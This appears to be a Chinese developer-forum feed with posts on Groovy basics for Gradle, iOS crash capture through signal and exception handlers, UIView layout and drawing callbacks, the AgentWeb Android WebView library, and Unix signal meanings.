    }else if(offsetY < webViewContentHeight + collectionContentHeight - collectionHeight){
    self.contentView.top = offsetY - webViewHeight;
    self.collectionView.contentOffset = CGPointMake(0, offsetY - webViewContentHeight);
    self.webView.scrollView.contentOffset = CGPointMake(0, webViewContentHeight - webViewHeight);
    }else if(offsetY <= webViewContentHeight + collectionContentHeight ){
    self.contentView.top = self.containerScrollView.contentSize.height - self.contentView.height;
    self.webView.scrollView.contentOffset = CGPointMake(0, webViewContentHeight - webViewHeight);
    self.collectionView.contentOffset = CGPointMake(0, collectionContentHeight - collectionHeight);
    }else {
    //do nothing
    NSLog(@"do nothing");
    }
    }


    链接:https://www.jianshu.com/p/ca7f826fd39b

    收起阅读 »

    深度探索 Gradle 自动化构建技术(二、Groovy 筑基篇)(1)

    前言 成为一名优秀的Android开发,需要一份完备的 知识体系,在这里,让我们一起成长为自己所想的那样~。 Groovy 作为 Gradle 这一强大构建工具的核心语言,其重要性不言而喻,但是 Groovy 本身是十分复杂的,要想全面地掌握它,我想几十篇万字...
    继续阅读 »

    前言


    成为一名优秀的Android开发,需要一份完备的 知识体系,在这里,让我们一起成长为自己所想的那样~。


    Groovy 作为 Gradle 这一强大构建工具的核心语言,其重要性不言而喻,但是 Groovy 本身是十分复杂的,要想全面地掌握它,我想几十篇万字长文也无法将其彻底描述。所幸的是,在 Gradle 领域中涉及的 Groovy 知识都是非常基础的,因此,本篇文章的目的是为了在后续深入探索 Gradle 时做好一定的基础储备。


    一、DSL 初识


    DSL(domain specific language),即领域特定语言,例如:Matliba、UML、HTML、XML 等等 DSL 语言。可以这样理解,Groovy 就是 DSL 的一个分支。


    特点



    • 1)、解决特定领域的专有问题。

    • 2)、它与系统编程语言走的是两个极端,系统编程语言是希望解决所有的问题,比如 Java 语言希望能做 Android 开发,又希望能做服务器开发,它具有横向扩展的特性。而 DSL 具有纵向深入解决特定领域专有问题的特性。


    总的来说,DSL 的 核心思想 就是:“求专不求全,解决特定领域的问题”。


    二、Groovy 初识


    1、Groovy 的特点


    Groovy 的特点具有如下 三点:



    • 1)、Groovy 是一种基于 JVM 的敏捷开发语言。

    • 2)、Groovy 结合了 Python、Ruby 和 Smalltalk 众多脚本语言的许多强大的特性。

    • 3)、Groovy 可以与 Java 完美结合,而且可以使用 Java 所有的库。


    那么,在已经有了其它脚本语言的前提下,为什么还要制造出 Grvooy 语言呢?


    因为 Groovy 语言相较其它编程语言而言,其 入门的学习成本是非常低的,因为它的语法就是对 Java 的扩展,所以,我们可以用学习 Java 的方式去学习 Groovy。


    2、Groovy 语言本身的特性


    其特性主要有如下 三种:



    • 1)、语法上支持动态类型,闭包等新一代语言特性。并且,Groovy 语言的闭包比其它所有语言类型的闭包都要强大。

    • 2)、它可以无缝集成所有已经存在的 Java 类库,因为它是基于 JVM 的。

    • 3)、它即可以支持面向对象编程(基于 Java 的扩展),也可以支持面向过程编程(基于众多脚本语言的结合)。


    需要注意的是,在我们使用 Groovy 进行 Gradle 脚本编写的时候,都是使用的面向过程进行编程的


    3、Groovy 的优势


    Groovy 的优势有如下 四种:



    • 1)、它是一种更加敏捷的编程语言:在语法上构建除了非常多的语法糖,许多在 Java 层需要写的代码,在 Groovy 中是可以省略的。因此,我们可以用更少的代码实现更多的功能。

    • 2)、入门简单,但功能非常强大。

    • 3)、既可以作为编程语言也可以作为脚本语言

    • 4)、熟悉掌握 Java 的同学会非常容易掌握 Groovy。


    4、Groovy 包的结构



    Groovy 官方网址



    从官网下载好 Groovy 文件之后,我们就可以看到 Groovy 的目录结构,其中我们需要 重点关注 bin 和 doc 这个两个文件夹


    bin 文件夹


    bin 文件夹的中我们需要了解下三个重要的可执行命令文件,如下所示:



    • 1)、groovy 命令类似于 Java 中的 java 命令,用于执行 groovy Class 字节码文件。

    • 2)、groovyc 命令类似于 Java 中的 javac 命令,用于将 groovy 源文件编译成 groovy 字节码文件。

    • 3)、groovysh 命令是用来解释执行 groovy 脚本文件的。


    doc 文件夹


    doc 文件夹的下面有一个 html 文件,其中的 api 和 documentation 是我们需要重点关注的,其作用分别如下所示:



    • api:groovy 中为我们提供的一系列 API 及其 说明文档。

    • documentation:groovy 官方为我们提供的一些教程。


    5、Groovy 中的关键字


    下面是 Groovy 中所有的关键字,命名时尤其需要注意,如下所示:


    as、assert、break、case、catch、class、const、continue、def、default、
    do、else、enum、extends、false、finally、for、goto、if、implements、
    import、in、instanceof、interface、new、null、package、return、super、
    switch、this、throw、throws、trait、true、try、while
    复制代码

    6、Groovy && Java 差异学习


    1)、getter / setter


    对于每一个 field,Groovy 都会⾃动创建其与之对应的 getter 与 setter 方法,从外部可以直接调用它,并且 在使⽤ object.fieldA 来获取值或者使用 object.fieldA = value 来赋值的时候,实际上会自动转而调⽤ object.getFieldA() 和 object.setFieldA(value) 方法


    如果我们不想调用这个特殊的 getter 方法时则可以使用 .@ 直接域访问操作符


    2)、除了每行代码不用加分号外,Groovy 中函数调用的时候还可以不加括号。


    需要注意的是,我们在使用的时候,如果当前这个函数是 Groovy API 或者 Gradle
    API 中比较常用的,比如 println,就可以不带括号。否则还是带括号。不然,Groovy 可能会把属性和函数调用混淆


    3)、Groovy 语句可以不用分号结尾。


    4)、函数定义时,参数的类型也可以不指定。


    5)、Groovy 中函数的返回值也可以是无类型的,并且无返回类型的函数,其内部都是按返回 Object 类型来处理的。


    6)、当前函数如果没有使用 return 关键字返回值,则会默认返回 null,但此时必须使用 def 关键字。


    7)、在 Groovy 中,所有的 Class 类型,都可以省略 .class。


    8)、在 Groovy 中,== 相当于 Java 的 equals,,如果需要比较两个对象是否是同一个,需要使用 .is()。


    9)、Groovy 非运算符如下:


    assert (!"android") == false                      
    复制代码

    10)、Groovy 支持 ** 次方运算符,代码如下所示:


    assert  2 ** 3 == 8
    复制代码

    11)、判断是否为真可以更简洁:


        if (android) {}
    复制代码

    12)、三元表达式可以更加简洁:


    // 省略了name
    def result = name ?: "Unknown"
    复制代码

    13)、简洁的非空判断


    println order?.customer?.address
    复制代码

    14)、使用 assert 来设置断言,当断言的条件为 false 时,程序将会抛出异常。


    15)、可以使用 Number 类去替代 float、double 等类型,省去考虑精度的麻烦。


    16)、switch 方法可以同时支持更多的参数类型。


    注意,swctch 可以匹配列表当中任一元素,示例代码如下所示:


    // 输出 ok
    def num = 5.21
    switch (num) {
    case [5.21, 4, "list"]:
    return "ok"
    break
    default:
    break
    }

    作者:jsonchao
    链接:https://juejin.cn/post/6844904128594853902
    来源:掘金
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
    收起阅读 »

    iOS你需要知道的事--Crash分析

    Crash ,,CrashlyticsHockeyapp友盟Bugly 等等但是,所有的但是,这不够!因为我们不再是一个简单会用的iOS开发人员,必将走向底层,了解原理,掌握装逼内容和技巧是我们的必修课首先我们来了解一下Crash的底层原理...
    继续阅读 »
    大家平时在开发过程中,经常会遇到Crash,那也是在正常不过的事,但是作为一个优秀的iOS开发人员,必将这些用户不良体验降到最低。

    线下Crash,我们直接可以调试,结合stack信息,不难定位!
    线上Crash当然也有一些信息,毕竟苹果爸爸的产品还是做得非常不错的!


    通过iPhone的Crash log也可以分析一些,但是这个是需要用户配合的,因为需要用户在手机 中 设置-> 诊断与用量->勾选 自动发送 ,然后在xcode中 Window->Organizer->Crashes 对应的app,就是当前app最新一版本的crash log ,并且是解析过的,可以根据crash 栈 等相关信息 ,尤其是程序代码级别的 有超链接,一键可以直接跳转到程序崩溃的相关代码,这样更容易定位bug出处.

    为了能够第一时间发现程序问题,应用程序需要实现自己的崩溃日志收集服务,成熟的开源项目很多,如  KSCrashplcrashreporterCrashKit 等。追求方便省心,对于保密性要求不高的程序来说,也可以选择各种一条龙Crash统计产品,如 CrashlyticsHockeyapp ,友盟Bugly 等等

    但是,所有的但是,这不够!因为我们不再是一个简单会用的iOS开发人员,必将走向底层,了解原理,掌握装逼内容和技巧是我们的必修课

    首先我们来了解一下Crash的底层原理

    iOS系统自带的 Apple’s Crash Reporter记录在设备中的Crash日志,Exception Type项通常会包含两个元素:Mach异常和 Unix信号。

    Exception Type:         EXC_BAD_ACCESS (SIGSEGV)    
    Exception Subtype: KERN_INVALID_ADDRESS at 0x041a6f3

    Mach异常是什么?它又是如何与Unix信号建立联系的?

    Mach是一个XNU的微内核核心,Mach异常是指最底层的内核级异常,被定义在下 。每个thread,task,host都有一个异常端口数组,Mach的部分API暴露给了用户态,用户态的开发者可以直接通过Mach API设置thread,task,host的异常端口,来捕获Mach异常,抓取Crash事件。

    所有Mach异常都在host层被ux_exception转换为相应的Unix信号,并通过threadsignal将信号投递到出错的线程。iOS中的 POSIX API就是通过Mach之上的 BSD层实现的。


    因此,EXC_BAD_ACCESS (SIGSEGV)表示的意思是:Mach层的EXC_BAD_ACCESS异常,在host层被转换成SIGSEGV信号投递到出错的线程。

    iOS的异常Crash
    * KVO问题
    * NSNotification线程问题
    * 数组越界
    * 野指针
    * 后台任务超时
    * 内存爆出
    * 主线程卡顿超阀值
    * 死锁
    ....

    下面我就拿出最常见的两种Crash分析一下



    Crash分析处理

    上面我们也知道:既然最终以信号的方式投递到出错的线程,那么就可以通过注册相应函数来捕获信号.达到Hook的效果

    + (void)installUncaughtSignalExceptionHandler{
    NSSetUncaughtExceptionHandler(&LGExceptionHandlers);
    signal(SIGABRT, LGSignalHandler);
    }

    我们从上面的函数可以Hook到信息,下面我们开始进行包装处理.这里还是面向统一封装,因为等会我们还需要考虑Signal

    void LGExceptionHandlers(NSException *exception) {
    NSLog(@"%s",__func__);

    NSArray *callStack = [LGUncaughtExceptionHandle lg_backtrace];
    NSMutableDictionary *mDict = [NSMutableDictionary dictionaryWithDictionary:exception.userInfo];
    [mDict setObject:callStack forKey:LGUncaughtExceptionHandlerAddressesKey];
    [mDict setObject:exception.callStackSymbols forKey:LGUncaughtExceptionHandlerCallStackSymbolsKey];
    [mDict setObject:@"LGException" forKey:LGUncaughtExceptionHandlerFileKey];

    // exception - myException

    [[[LGUncaughtExceptionHandle alloc] init] performSelectorOnMainThread:@selector(lg_handleException:) withObject:[NSException exceptionWithName:[exception name] reason:[exception reason] userInfo:mDict] waitUntilDone:YES];
    }

    下面针对封装好的myException进行处理,在这里要做两件事

    1.存储,上传:方便开发人员检查修复

    2.处理Crash奔溃,我们也不能眼睁睁看着BUG闪退在用户的手机上面,希望“起死回生,回光返照”

    - (void)lg_handleException:(NSException *)exception{
    // crash 处理
    // 存
    NSDictionary *userInfo = [exception userInfo];
    [self saveCrash:exception file:[userInfo objectForKey:LGUncaughtExceptionHandlerFileKey]];
    }

    下面是一些封装的一些辅助函数

    保存奔溃信息或者上传:针对封装数据本地存储,和相应上传服务器

    - (void)saveCrash:(NSException *)exception file:(NSString *)file{

    NSArray *stackArray = [[exception userInfo] objectForKey:LGUncaughtExceptionHandlerCallStackSymbolsKey];// 异常的堆栈信息
    NSString *reason = [exception reason];// 出现异常的原因
    NSString *name = [exception name];// 异常名称

    // 或者直接用代码,输入这个崩溃信息,以便在console中进一步分析错误原因
    // NSLog(@"crash: %@", exception);

    NSString * _libPath = [[NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDomainMask, YES) objectAtIndex:0] stringByAppendingPathComponent:file];

    if (![[NSFileManager defaultManager] fileExistsAtPath:_libPath]){
    [[NSFileManager defaultManager] createDirectoryAtPath:_libPath withIntermediateDirectories:YES attributes:nil error:nil];
    }

    NSDate *dat = [NSDate dateWithTimeIntervalSinceNow:0];
    NSTimeInterval a=[dat timeIntervalSince1970];
    NSString *timeString = [NSString stringWithFormat:@"%f", a];

    NSString * savePath = [_libPath stringByAppendingFormat:@"/error%@.log",timeString];

    NSString *exceptionInfo = [NSString stringWithFormat:@"Exception reason:%@\nException name:%@\nException stack:%@",name, reason, stackArray];

    BOOL sucess = [exceptionInfo writeToFile:savePath atomically:YES encoding:NSUTF8StringEncoding error:nil];

    NSLog(@"保存崩溃日志 sucess:%d,%@",sucess,savePath);
    }

    获取函数堆栈信息,这里可以获取响应调用堆栈的符号信息,通过数组回传

    + (NSArray *)lg_backtrace{

    void* callstack[128];
    int frames = backtrace(callstack, 128);//用于获取当前线程的函数调用堆栈,返回实际获取的指针个数
    char **strs = backtrace_symbols(callstack, frames);//从backtrace函数获取的信息转化为一个字符串数组
    int i;
    NSMutableArray *backtrace = [NSMutableArray arrayWithCapacity:frames];
    for (i = LGUncaughtExceptionHandlerSkipAddressCount;
    i < LGUncaughtExceptionHandlerSkipAddressCount+LGUncaughtExceptionHandlerReportAddressCount;
    i++)
    {
    [backtrace addObject:[NSString stringWithUTF8String:strs[i]]];
    }
    free(strs);
    return backtrace;
    }

    获取应用信息,这个函数提供给Siganl数据封装

    NSString *getAppInfo(){
    NSString *appInfo = [NSString stringWithFormat:@"App : %@ %@(%@)\nDevice : %@\nOS Version : %@ %@\n",
    [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"],
    [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"],
    [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleVersion"],
    [UIDevice currentDevice].model,
    [UIDevice currentDevice].systemName,
    [UIDevice currentDevice].systemVersion];
    // [UIDevice currentDevice].uniqueIdentifier];
    NSLog(@"Crash!!!! %@", appInfo);
    return appInfo;
    }

    做完这些准备,你可以非常清晰的看到程序奔溃,哈哈哈!(好像以前奔溃还不清晰似的),这里说一下:我的意思你非常清晰的知道奔溃之前做了一些什么!
    下面是检测我们奔溃之前的沙盒存储的信息:error.log


    下面我们来一个骚操作:在监听的信息的时候来了一个Runloop,我们监听所有的mode,开启循环

    (一个相对于我们应用程序自启的Runloop的平行空间).

    SCLAlertView *alert = [[SCLAlertView alloc] initWithNewWindowWidth:300.0f];
    [alert addButton:@"奔溃" actionBlock:^{
    self.dismissed = YES;
    }];
    [alert showSuccess:exception.name subTitle:exception.reason closeButtonTitle:nil duration:0];
    // 本次异常处理
    CFRunLoopRef runloop = CFRunLoopGetCurrent();
    CFArrayRef allMode = CFRunLoopCopyAllModes(runloop);
    while (!self.dismissed) {
    // machO
    // 后台更新 - log
    // kill
    //
    for (NSString *mode in (__bridge NSArray *)allMode) {
    CFRunLoopRunInMode((CFStringRef)mode, 0.0001, false);
    }
    }

    CFRelease(allMode);

    在这个平行空间我们开启一个弹框,这个弹框,跟着我们的应用程序保活,并且具备相应的响应能力,到目前为止:此时此刻还有谁!这不就是回光返照?只要我们的条件成立,那么在相应的这个平行空间继续做一些我们的工作,程序不死:what is dead may never die,but rises again harder and stronger


    signal 函数拦截不到的解决方式

    在debug模式下,如果你触发了崩溃,那么应用会直接崩溃到主函数,断点都没用,此时没有任何log信息显示出来,如果你想看log信息的话,你需要在lldb中,拿SIGABRT来说吧,敲入pro hand -p true -s false SIGABRT命令,不然你啥也看不到。


    然后断开断点,程序进入监听,下面剩下的操作就是包装异常,操作类似Exception


    最后我们需要注意的针对我们的监听回收相应内存:

    NSSetUncaughtExceptionHandler(NULL);
    signal(SIGABRT, SIG_DFL);
    signal(SIGILL, SIG_DFL);
    signal(SIGSEGV, SIG_DFL);
    signal(SIGFPE, SIG_DFL);
    signal(SIGBUS, SIG_DFL);
    signal(SIGPIPE, SIG_DFL);

    if ([[exception name] isEqual:UncaughtExceptionHandlerSignalExceptionName])
    {
    kill(getpid(), [[[exception userInfo] objectForKey:UncaughtExceptionHandlerSignalKey] intValue]);
    }
    else
    {
    [exception raise];
    }

    到目前为止,我们响应的Crash处理已经入门,如果你还想继续探索也是有很多地方比如:

    我们能否hook系统奔溃,异常的方法NSSetUncaughtExceptionHandler,已达到拒绝传递 UncaughtExceptionHandler的效果

    我们在处理异常的时候,利用Runloop回光返照,有没有更加合适的方法

    Runloop回光返照我们怎么继续保证应用程序稳定执行


    摘自作者:Cooci_和谐学习_不急不躁
    原贴链接:https://www.jianshu.com/p/56f96167a6e9

    收起阅读 »

    iOS-UIView常用的setNeedsDisplay和setNeedsLayout

    UIView的setNeedsDisplay和setNeedsLayout方法      首先两个方法都是异步执行的。而setNeedsDisplay会调用自动调用drawRect方法,这样可以拿到 UIGraphics...
    继续阅读 »
    • UIView的setNeedsDisplay和setNeedsLayout方法
          首先两个方法都是异步执行的。而setNeedsDisplay会调用自动调用drawRect方法,这样可以拿到 UIGraphicsGetCurrentContext,就可以画画了。而setNeedsLayout会默认调用layoutSubViews,就可以 处理子视图中的一些数据。综上所诉,setNeedsDisplay方便绘图,而    layoutSubViews方便出来数据。
    • layoutSubviews在以下情况下会被调用:

    1、init初始化不会触发layoutSubviews。
    2、addSubview会触发layoutSubviews。
    3、设置view的Frame会触发layoutSubviews,当然前提是frame的值设置前后发生了变化。
    4、滚动一个UIScrollView会触发layoutSubviews。
    5、旋转Screen会触发父UIView上的layoutSubviews事件。
    6、改变一个UIView大小的时候也会触发父UIView上的layoutSubviews事件。
    7、直接调用setLayoutSubviews。
    • drawRect在以下情况下会被调用:

    1、如果在UIView初始化时没有设置rect大小,将直接导致drawRect不被自动调用。drawRect调用是在Controller->loadView, Controller->viewDidLoad 两方法之后掉用的.所以不用担心在控制器中,这些View的drawRect就开始画了.这样可以在控制器中设置一些值给View(如果这些View draw的时候需要用到某些变量值).
    2、该方法在调用sizeToFit后被调用,所以可以先调用sizeToFit计算出size。然后系统自动调用drawRect:方法。
    3、通过设置contentMode属性值为UIViewContentModeRedraw。那么将在每次设置或更改frame的时候自动调用drawRect:。
    4、直接调用setNeedsDisplay,或者setNeedsDisplayInRect:触发drawRect:,但是有个前提条件是rect不能为0。
    以上1,2推荐;而3,4不提倡
    • drawRect方法使用注意点:

    1、若使用UIView绘图,只能在drawRect:方法中获取相应的contextRef并绘图。如果在其他方法中获取将获取到一个invalidate的ref并且不能用于画图。drawRect:方法不能手动显示调用,必须通过调用setNeedsDisplay 或者 setNeedsDisplayInRect,让系统自动调该方法。
    2、若使用CAlayer绘图,只能在drawInContext: 中(类似于drawRect)绘制,或者在delegate中的相应方法绘制。同样也是调用setNeedDisplay等间接调用以上方法
    3、若要实时画图,不能使用gestureRecognizer,只能使用touchbegan等方法来掉用setNeedsDisplay实时刷新屏幕

    链接:https://www.jianshu.com/p/33a28bb14749

    收起阅读 »

    高度封装的 WebView-AgentWeb

    AgentWeb 介绍AgentWeb 是一个基于的 Android WebView ,极度容易使用以及功能强大的库,提供了 Android WebView 一系列的问题解决方案 ,并且轻量和极度灵活,体验请下载的agentweb.apk,或者你也可以到 Go...
    继续阅读 »

    AgentWeb 介绍

    AgentWeb 是一个基于的 Android WebView ,极度容易使用以及功能强大的库,提供了 Android WebView 一系列的问题解决方案 ,并且轻量和极度灵活,体验请下载的
    agentweb.apk
    或者你也可以到 Google Play 里面下载 AgentWeb
    详细使用请参照上面的 Sample 。

    引入

    • Gradle

       implementation 'com.just.agentweb4.1.4' // (必选)
      implementation 'com.just.agentweb4.1.4'// (可选)
      implementation 'com.download.library4.1.4'// (可选)
    • androidx

       implementation 'com.just.agentweb4.1.4' // (必选)
      implementation 'com.just.agentweb4.1.4'// (可选)
      implementation 'com.download.library4.1.4'// (可选


    • 调用 Javascript 方法拼接太麻烦 ? 请看 。

    function callByAndroid(){
    console.log("callByAndroid")
    }
    mAgentWeb.getJsAccessEntrace().quickCallJs("callByAndroid");
    • Javascript 调 Java ?

    mAgentWeb.getJsInterfaceHolder().addJavaObject("android",new AndroidInterface(mAgentWeb,this));
    window.android.callAndroid();
    • 事件处理

        @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {

    if (mAgentWeb.handleKeyEvent(keyCode, event)) {
    return true;
    }
    return super.onKeyDown(keyCode, event);
    }
    • 跟随 Activity Or Fragment 生命周期 , 释放 CPU 更省电 。

        @Override
    protected void onPause() {
    mAgentWeb.getWebLifeCycle().onPause();
    super.onPause();

    }

    @Override
    protected void onResume() {
    mAgentWeb.getWebLifeCycle().onResume();
    super.onResume();
    }
    @Override
    public void onDestroyView() {
    mAgentWeb.getWebLifeCycle().onDestroy();
    super.onDestroyView();
    }
    • 全屏视频播放


    android:hardwareAccelerated="true"
    android:configChanges="orientation|screenSize"
    • 定位


    <!--AgentWeb 是默认允许定位的 ,如果你需要该功能 , 请在你的 AndroidManifest 文件里面加入如下权限 。-->
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    • WebChromeClient 与 WebViewClient

    AgentWeb.with(this)
    .setAgentWebParent(mLinearLayout,new LinearLayout.LayoutParams(-1,-1) )
    .useDefaultIndicator()
    .setReceivedTitleCallback(mCallback)
    .setWebChromeClient(mWebChromeClient)
    .setWebViewClient(mWebViewClient)
    .setSecutityType(AgentWeb.SecurityType.strict)
    .createAgentWeb()
    .ready()
    .go(getUrl());
    private WebViewClient mWebViewClient=new WebViewClient(){
    @Override
    public void onPageStarted(WebView view, String url, Bitmap favicon) {
    //do you work
    }
    };
    private WebChromeClient mWebChromeClient=new WebChromeClient(){
    @Override
    public void onProgressChanged(WebView view, int newProgress) {
    //do you work
    }
    };
    • 返回上一页

    if (!mAgentWeb.back()){
    AgentWebFragment.this.getActivity().finish();
    }
    • 获取 WebView

    	mAgentWeb.getWebCreator().getWebView();
    • 查看 Cookies

    String cookies=AgentWebConfig.getCookiesByUrl(targetUrl);
    • 同步 Cookie

    AgentWebConfig.syncCookie("http://www.jd.com","ID=XXXX");
    • MiddlewareWebChromeBase 支持多个 WebChromeClient

    //略,请查看 Sample
    • MiddlewareWebClientBase 支持多个 WebViewClient

    //略,请查看 Sample
    • 清空缓存

    AgentWebConfig.clearDiskCache(this.getContext());
    • 权限拦截

    protected PermissionInterceptor mPermissionInterceptor = new PermissionInterceptor() {

    @Override
    public boolean intercept(String url, String[] permissions, String action) {
    Log.i(TAG, "url:" + url + " permission:" + permissions + " action:" + action);
    return false;
    }
    };
    • AgentWeb 完整用法

     //略,请查看 Sample
    • AgentWeb 所需要的权限(在你工程中根据需求选择加入权限)

        <uses-permission android:name="android.permission.INTERNET"></uses-permission>

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"></uses-permission>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
    <uses-permission android:name="android.permission.CAMERA"></uses-permission>
    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"></uses-permission>


    • AgentWeb 所依赖的库

        compile "com.android.support:design:${SUPPORT_LIB_VERSION}" // (3.0.0开始该库可选)
    compile "com.android.support:support-v4:${SUPPORT_LIB_VERSION}"
    SUPPORT_LIB_VERSION=27.0.2(该值会更新)

    混淆

    如果你的项目需要加入混淆 , 请加入如下配置

    -keep class com.just.agentweb.** {
    *;
    }
    -dontwarn com.just.agentweb.**

    Java 注入类不要混淆 , 例如 sample 里面的 AndroidInterface 类 , 需要 Keep 。

    -keepclassmembers class com.just.agentweb.sample.common.AndroidInterface{ *; }

    注意事项

    • 支付宝使用需要引入支付宝SDK ,并在项目中依赖 , 微信支付不需要做任何操作。
    • AgentWeb 内部使用了 AlertDialog 需要依赖 AppCompat 主题 。
    • setAgentWebParent 不支持 ConstraintLayout 。
    • mAgentWeb.getWebLifeCycle().onPause();会暂停应用内所有WebView 。
    • minSdkVersion 低于等于16以下自定义WebView请注意与 JS 之间通信安全。
    • AgentWeb v3.0.0以上版本更新了包名,混淆的朋友们,请更新你的混淆配置。
    • 多进程无法取消下载,解决方案

    代码下载:AgentWeb-master.zip

    原文链接:https://github.com/Justson/AgentWeb



    收起阅读 »

    iOS Crash分析中的Signal

    下面是一些信号说明1.SIGHUP本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联。登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运...
    继续阅读 »

    下面是一些信号说明

    1.SIGHUP

    本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联。
    登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个 Session。当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程,因此前台进 程组和后台有终端输出的进程就会中止。不过可以捕获这个信号,比如wget能捕获SIGHUP信号,并忽略它,这样就算退出了Linux登录, wget也 能继续下载。
    此外,对于与终端脱离关系的守护进程,这个信号用于通知它重新读取配置文件。

    2.SIGINT

    程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出,用于通知前台进程组终止进程。

    3.SIGQUIT

    和SIGINT类似, 但由QUIT字符(通常是Ctrl-)来控制. 进程在因收到SIGQUIT退出时会产生core文件, 在这个意义上类似于一个程序错误信号。

    4.SIGILL

    执行了非法指令. 通常是因为可执行文件本身出现错误, 或者试图执行数据段. 堆栈溢出时也有可能产生这个信号。

    5.SIGTRAP

    由断点指令或其它trap指令产生. 由debugger使用。

    6.SIGABRT

    调用abort函数生成的信号。

    7.SIGBUS

    非法地址, 包括内存地址对齐(alignment)出错。比如访问一个四个字长的整数, 但其地址不是4的倍数。它与SIGSEGV的区别在于后者是由于对合法存储地址的非法访问触发的(如访问不属于自己存储空间或只读存储空间)。

    8.SIGFPE

    在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。

    9.SIGKILL

    用来立即结束程序的运行. 本信号不能被阻塞、处理和忽略。如果管理员发现某个进程终止不了,可尝试发送这个信号。

    10.SIGUSR1

    留给用户使用

    11.SIGSEGV

    试图访问未分配给自己的内存, 或试图往没有写权限的内存地址写数据.

    12.SIGUSR2

    留给用户使用

    13.SIGPIPE

    管道破裂。这个信号通常在进程间通信产生,比如采用FIFO(管道)通信的两个进程,读管道没打开或者意外终止就往管道写,写进程会收到SIGPIPE信号。此外用Socket通信的两个进程,写进程在写Socket的时候,读进程已经终止。

    14.SIGALRM

    时钟定时信号, 计算的是实际的时间或时钟时间. alarm函数使用该信号.

    15.SIGTERM

    程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理。通常用来要求程序自己正常退出,shell命令kill缺省产生这个信号。如果进程终止不了,我们才会尝试SIGKILL。

    16.SIGCHLD

    子进程结束时, 父进程会收到这个信号。
    如果父进程没有处理这个信号,也没有等待(wait)子进程,子进程虽然终止,但是还会在内核进程表中占有表项,这时的子进程称为僵尸进程。这种情 况我们应该避免(父进程或者忽略SIGCHILD信号,或者捕捉它,或者wait它派生的子进程,或者父进程先终止,这时子进程的终止自动由init进程 来接管)。

    17.SIGCONT

    让一个停止(stopped)的进程继续执行. 本信号不能被阻塞. 可以用一个handler来让程序在由stopped状态变为继续执行时完成特定的工作. 例如, 重新显示提示符

    18.SIGSTOP

    停止(stopped)进程的执行. 注意它和terminate以及interrupt的区别:该进程还未结束, 只是暂停执行. 本信号不能被阻塞, 处理或忽略.

    19.SIGTSTP

    停止进程的运行, 但该信号可以被处理和忽略. 用户键入SUSP字符时(通常是Ctrl-Z)发出这个信号

    20.SIGTTIN

    当后台作业要从用户终端读数据时, 该作业中的所有进程会收到SIGTTIN信号. 缺省时这些进程会停止执行.

    21.SIGTTOU

    类似于SIGTTIN, 但在写终端(或修改终端模式)时收到.

    22.SIGURG

    有”紧急”数据或out-of-band数据到达socket时产生.

    23.SIGXCPU

    超过CPU时间资源限制. 这个限制可以由getrlimit/setrlimit来读取/改变。

    24.SIGXFSZ

    当进程企图扩大文件以至于超过文件大小资源限制。

    25.SIGVTALRM

    虚拟时钟信号. 类似于SIGALRM, 但是计算的是该进程占用的CPU时间.

    26.SIGPROF

    类似于SIGALRM/SIGVTALRM, 但包括该进程用的CPU时间以及系统调用的时间.

    27.SIGWINCH

    窗口大小改变时发出.

    28.SIGIO

    文件描述符准备就绪, 可以开始进行输入/输出操作.

    SIGPWR
    Power failure
    SIGSYS

    非法的系统调用。


    关键点注意

    在以上列出的信号中,程序不可捕获、阻塞或忽略的信号有:

    SIGKILL,SIGSTOP

    不能恢复至默认动作的信号有:

    SIGILL,SIGTRAP

    默认会导致进程流产的信号有:

    SIGABRT,SIGBUS,SIGFPE,SIGILL,SIGIOT,SIGQUIT,SIGSEGV,SIGTRAP,SIGXCPU,SIGXFSZ

    默认会导致进程退出的信号有:

    SIGALRM,SIGHUP,SIGINT,SIGKILL,SIGPIPE,SIGPOLL,SIGPROF,SIGSYS,SIGTERM,SIGUSR1,SIGUSR2,SIGVTALRM

    默认会导致进程停止的信号有:

    SIGSTOP,SIGTSTP,SIGTTIN,SIGTTOU

    默认进程忽略的信号有:

    SIGCHLD,SIGPWR,SIGURG,SIGWINCH

    此外,SIGIO在SVR4是退出,在4.3BSD中是忽略;SIGCONT在进程挂起时是继续,否则是忽略,不能被阻塞。


    摘自作者:Cooci_和谐学习_不急不躁

    原贴链接:https://www.jianshu.com/p/3a9dc6bd5e58

    收起阅读 »